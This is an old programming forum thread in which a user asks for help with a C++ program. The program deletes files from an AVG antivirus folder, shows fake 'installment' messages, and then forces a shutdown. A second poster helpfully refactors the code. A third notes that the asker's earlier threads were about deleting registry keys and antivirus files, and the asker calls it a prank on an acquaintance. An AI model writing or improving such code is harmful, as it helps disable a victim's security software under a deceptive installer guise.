Program help

[ReN3g@de]

i need some help with this program...

code:

#include <iostream> #include <stdlib.h> using namespace std; int main(char *argv[]) { if( remove( "c:\\Program Files\\Grisoft\\AVG6\\temp1.txt" ) == -1 )       {perror( "Could not finish installment" );}    else       {printf( "Finished installment\n" );} if( remove( "c:\\Program Files\\Grisoft\\AVG6\\temp2.txt" ) == -1 )       {perror( "Could not finish installment" );}    else       {printf( "Finished installment\n" );} if( remove( "c:\\Program Files\\Grisoft\\AVG6\\temp3.txt" ) == -1 )       {perror( "Could not finish installment" );}    else       {printf( "Finished installment\n" );}        system("PAUSE,shutdown -s -c 'haha'");          return 0; }

im trying to make it delete three files then prompt the user to press a key... when he does so i want the computer to restart. but instead of restarting the program loops continuously... wut is wrong?

i use Dev C++

Let's start by cleaning it up a bit. Mixing C and C++ is bad!

code:

#include <iostream> #include <stdlib.h> void remove_files(std::ostream& out, std::ostream& err) {    using namespace std;    const int NUM_OF_FILES = 3;    const string prefix = "c:\\Program Files\\Grisoft\\AVG6\\";    string files[NUM_OF_FILES] = { "temp1.txt", "temp2.txt", "temp3.txt" };        for (string * i = files; i < files + NUM_OF_FILES; i++)    {       string file_path = prefix + *i;       if (remove(file_path) == -1)          err << "Could not finish installment" << endl;       else          out << "Finished installment\n" << endl;    } } int main(char *argv[]) {    using namespace std;    remove_files(cout, cerr);          system("PAUSE,shutdown -s -c 'haha'");        return 0; }

The only thing I can see that might be a problem is "shutdown". Is there any particular reason for your program to request a system shutdown? And this command won't even work in Windows (without Cygwin).

ROFL, *dan looks at last 2 post in c++ help by ReN3g@de* lets see we got one on delteing reg keys and one on deltaing files, spicfaly ones that make an anti-virus app work, LOL.

Have fun, i hope you dont get cougth, lol.

heh heh its all in good fun... i know the person i am playin aroun with... he's a pretty cocky fellow!!

the funny thing is i just made my entire program in Turing!!! i figures out how to turn off, restart, and make the computer sleep!!
